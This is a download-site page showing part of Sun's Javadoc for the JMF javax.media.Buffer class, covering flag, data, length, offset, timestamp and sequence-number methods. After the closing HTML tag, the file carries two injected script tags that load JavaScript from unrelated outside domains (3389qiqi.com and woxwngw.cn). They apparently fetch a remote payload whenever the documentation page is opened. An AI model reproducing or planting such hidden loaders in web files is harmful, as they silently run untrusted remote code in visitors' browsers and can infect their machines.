⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 buffer.html

📁 JMF原版英文说明文档
💻 HTML
📖 第 1 页 / 共 4 页
字号:
<DL><DD>Checks whether or not this <CODE>Buffer</CODE> marks the end of the media stream. Even it <CODE>isEOM</CODE> returns <CODE>true</CODE>, the <CODE>Buffer</CODE> might still  contain valid data--check the length of the <CODE>Buffer</CODE>. <p> This method provides a convenient alternative to using <CODE>getFlags</CODE>  to check the EOM flag.<DD><DL><DT><B>Returns:</B><DD><CODE>true</CODE> if the EOM flag is enabled, <CODE>false</CODE> if it is not.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#getFlags()"><CODE>getFlags()</CODE></A>, <A HREF="../../javax/media/Buffer.html#FLAG_EOM"><CODE>FLAG_EOM</CODE></A></DL></DD></DL><HR><A NAME="setEOM(boolean)"><!-- --></A><H3>setEOM</H3><PRE>public void <B>setEOM</B>(boolean&nbsp;eom)</PRE><DL><DD>Sets the EOM flag for this <CODE>Buffer</CODE>. If the EOM flag is enabled, this is the last <CODE>Buffer</CODE> in the media stream. <p> This method provides a convenient alternative to using <CODE>setFlags</CODE>  to enable or disable the EOM flag.<DD><DL><DT><B>Parameters:</B><DD><CODE>eom</CODE> - A boolean value that contains the EOM status of the <CODE>Buffer</CODE>. Set to  <CODE>true</CODE> to enable the EOM flag, <CODE>false</CODE> to disable the flag.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#setFlags(int)"><CODE>setFlags(int)</CODE></A>, <A HREF="../../javax/media/Buffer.html#FLAG_EOM"><CODE>FLAG_EOM</CODE></A></DL></DD></DL><HR><A NAME="isDiscard()"><!-- --></A><H3>isDiscard</H3><PRE>public boolean <B>isDiscard</B>()</PRE><DL><DD>Checks whether or not this <CODE>Buffer</CODE> is to be discarded. <p> This method provides a convenient alternative to using <CODE>getFlags</CODE>  to check the DISCARD flag.<DD><DL><DT><B>Returns:</B><DD><CODE>true</CODE> if the DISCARD flag is enabled, <CODE>false</CODE> if it is not.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#getFlags()"><CODE>getFlags()</CODE></A>, <A HREF="../../javax/media/Buffer.html#FLAG_DISCARD"><CODE>FLAG_DISCARD</CODE></A></DL></DD></DL><HR><A NAME="setDiscard(boolean)"><!-- --></A><H3>setDiscard</H3><PRE>public void <B>setDiscard</B>(boolean&nbsp;discard)</PRE><DL><DD>Sets the DISCARD flag for this <CODE>Buffer</CODE>. If the DISCARD flag is enabled,  this <CODE>Buffer</CODE> is to be discarded. <p> This method provides a convenient alternative to using <CODE>setFlags</CODE>  to enable or disable the DISCARD flag.<DD><DL><DT><B>Parameters:</B><DD><CODE>discard</CODE> - A boolean value that contains the DISCARD status of the <CODE>Buffer</CODE>. Set to  <CODE>true</CODE> to enable the EOM flag, <CODE>false</CODE> to disable the flag.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#setFlags(int)"><CODE>setFlags(int)</CODE></A>, <A HREF="../../javax/media/Buffer.html#FLAG_DISCARD"><CODE>FLAG_DISCARD</CODE></A></DL></DD></DL><HR><A NAME="getData()"><!-- --></A><H3>getData</H3><PRE>public java.lang.Object <B>getData</B>()</PRE><DL><DD>Gets the internal data object that holds the media chunk contained in this <CODE>Buffer</CODE>.<DD><DL><DT><B>Returns:</B><DD>The data object that holds the media chunk for this <CODE>Buffer</CODE>. It can be an array type (such as byte[]) or any other type of object. Use <code>instanceOf</code> to determine what type it is.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#data"><CODE>data</CODE></A></DL></DD></DL><HR><A NAME="setData(java.lang.Object)"><!-- --></A><H3>setData</H3><PRE>public void <B>setData</B>(java.lang.Object&nbsp;data)</PRE><DL><DD>Sets the internal data object that holds the media chunk.<DD><DL><DT><B>Parameters:</B><DD><CODE>data</CODE> - The data object that holds the media data chunk for this <CODE>Buffer</CODE>. It can be an array type (such as byte[]) or any other type of object.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#data"><CODE>data</CODE></A></DL></DD></DL><HR><A NAME="getHeader()"><!-- --></A><H3>getHeader</H3><PRE>public java.lang.Object <B>getHeader</B>()</PRE><DL><DD>Gets the header information for the media chunk contained in this <CODE>Buffer</CODE>.<DD><DL><DT><B>Returns:</B><DD>The object that holds the header information. Use <code>instanceOf</code>  to determine what type the header object is.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#header"><CODE>header</CODE></A></DL></DD></DL><HR><A NAME="setHeader(java.lang.Object)"><!-- --></A><H3>setHeader</H3><PRE>public void <B>setHeader</B>(java.lang.Object&nbsp;header)</PRE><DL><DD>Sets the header information for the media chunk.<DD><DL><DT><B>Parameters:</B><DD><CODE>header</CODE> - The header object that holds the media data chunk for this <CODE>Buffer</CODE>.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#header"><CODE>header</CODE></A></DL></DD></DL><HR><A NAME="getLength()"><!-- --></A><H3>getLength</H3><PRE>public int <B>getLength</B>()</PRE><DL><DD>Gets the length of the valid data in this <CODE>Buffer</CODE> if the data is held in an array.<DD><DL><DT><B>Returns:</B><DD>The length of the valid data in the data array that holds the media chunk  for this <CODE>Buffer</CODE>.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#length"><CODE>length</CODE></A></DL></DD></DL><HR><A NAME="setLength(int)"><!-- --></A><H3>setLength</H3><PRE>public void <B>setLength</B>(int&nbsp;length)</PRE><DL><DD>Sets the length of the valid data stored in this <CODE>Buffer</CODE> if the data  is held in an array.<DD><DL><DT><B>Parameters:</B><DD><CODE>length</CODE> - The length of the valid data in the data array that holds the  media chunk for this <CODE>Buffer</CODE>.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#length"><CODE>length</CODE></A></DL></DD></DL><HR><A NAME="getOffset()"><!-- --></A><H3>getOffset</H3><PRE>public int <B>getOffset</B>()</PRE><DL><DD>If the media chunk for this <CODE>Buffer</CODE> is held in an array, gets the  offset into the data array where the valid data begins.</DL><HR><A NAME="setOffset(int)"><!-- --></A><H3>setOffset</H3><PRE>public void <B>setOffset</B>(int&nbsp;offset)</PRE><DL><DD>If the media chunk for this <CODE>Buffer</CODE> is held in an array,  sets the  offset into the array where the valid data begins.<DD><DL><DT><B>Parameters:</B><DD><CODE>offset</CODE> - The starting point for the valid data.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#offset"><CODE>offset</CODE></A></DL></DD></DL><HR><A NAME="getTimeStamp()"><!-- --></A><H3>getTimeStamp</H3><PRE>public long <B>getTimeStamp</B>()</PRE><DL><DD>Gets the time stamp of this <CODE>Buffer</CODE>.<DD><DL><DT><B>Returns:</B><DD>The <CODE>Buffer</CODE> time stamp, in nanoseconds.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#timeStamp"><CODE>timeStamp</CODE></A></DL></DD></DL><HR><A NAME="setTimeStamp(long)"><!-- --></A><H3>setTimeStamp</H3><PRE>public void <B>setTimeStamp</B>(long&nbsp;timeStamp)</PRE><DL><DD>Sets the time stamp of this <CODE>Buffer</CODE>.<DD><DL><DT><B>Parameters:</B><DD><CODE>timeStamp</CODE> - The time stamp for the <CODE>Buffer</CODE>, in nanoseconds.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#timeStamp"><CODE>timeStamp</CODE></A></DL></DD></DL><HR><A NAME="getDuration()"><!-- --></A><H3>getDuration</H3><PRE>public long <B>getDuration</B>()</PRE><DL><DD>Gets the duration of this <CODE>Buffer</CODE>.<DD><DL><DT><B>Returns:</B><DD>The <CODE>Buffer</CODE> duration, in nanoseconds.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#duration"><CODE>duration</CODE></A></DL></DD></DL><HR><A NAME="setDuration(long)"><!-- --></A><H3>setDuration</H3><PRE>public void <B>setDuration</B>(long&nbsp;duration)</PRE><DL><DD>Sets the duration of this <CODE>Buffer</CODE>.<DD><DL><DT><B>Parameters:</B><DD><CODE>duration</CODE> - The duration for the <CODE>Buffer</CODE>, in nanoseconds.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#duration"><CODE>duration</CODE></A></DL></DD></DL><HR><A NAME="setSequenceNumber(long)"><!-- --></A><H3>setSequenceNumber</H3><PRE>public void <B>setSequenceNumber</B>(long&nbsp;number)</PRE><DL><DD>Sets the sequence number of this <CODE>Buffer</CODE>. Sequence numbers increase or decrease by 1 for each sequential <CODE>Buffer</CODE>, indicating the order in which the data is to be processed. Can be used to identify lost samples of data.<DD><DL><DT><B>Parameters:</B><DD><CODE>number</CODE> - The sequence number for the <CODE>Buffer</CODE>.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#sequenceNumber"><CODE>sequenceNumber</CODE></A></DL></DD></DL><HR><A NAME="getSequenceNumber()"><!-- --></A><H3>getSequenceNumber</H3><PRE>public long <B>getSequenceNumber</B>()</PRE><DL><DD>Gets the sequence number of this <CODE>Buffer</CODE>.<DD><DL><DT><B>Returns:</B><DD>The sequence number of this <CODE>Buffer</CODE>.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Buffer.html#sequenceNumber"><CODE>sequenceNumber</CODE></A></DL></DD></DL><HR><A NAME="copy(javax.media.Buffer)"><!-- --></A><H3>copy</H3><PRE>public void <B>copy</B>(<A HREF="../../javax/media/Buffer.html">Buffer</A>&nbsp;buffer)</PRE><DL><DD>Copy the attributes from the specified <CODE>Buffer</CODE> into this <CODE>Buffer</CODE><DD><DL><DT><B>Parameters:</B><DD><CODE>buffer</CODE> - The input <CODE>Buffer</code> the copy the attributes from.</DL></DD></DL><HR><A NAME="clone()"><!-- --></A><H3>clone</H3><PRE>public java.lang.Object <B>clone</B>()</PRE><DL><DD>Clone a buffer.<DD><DL><DT><B>Overrides:</B><DD>clone in class java.lang.Object</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">  <TR ALIGN="center" VALIGN="top">  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>  </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">&nbsp;<A HREF="../../javax/media/AudioDeviceUnavailableEvent.html"><B>PREV CLASS</B></A>&nbsp;&nbsp;<A HREF="../../javax/media/CachingControlEvent.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">  <A HREF="../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;&nbsp;<A HREF="Buffer.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;<A HREF="#field_summary">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: &nbsp;<A HREF="#field_detail">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1">  <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a>  <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road,  Palo Alto, California, 94303, U.S.A. All Rights Reserved.  See the <a href="spec-license.html">Specification License</a> for more details.  <br>Sun, Sun Microsystems, and Java are trademarks or registered  trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -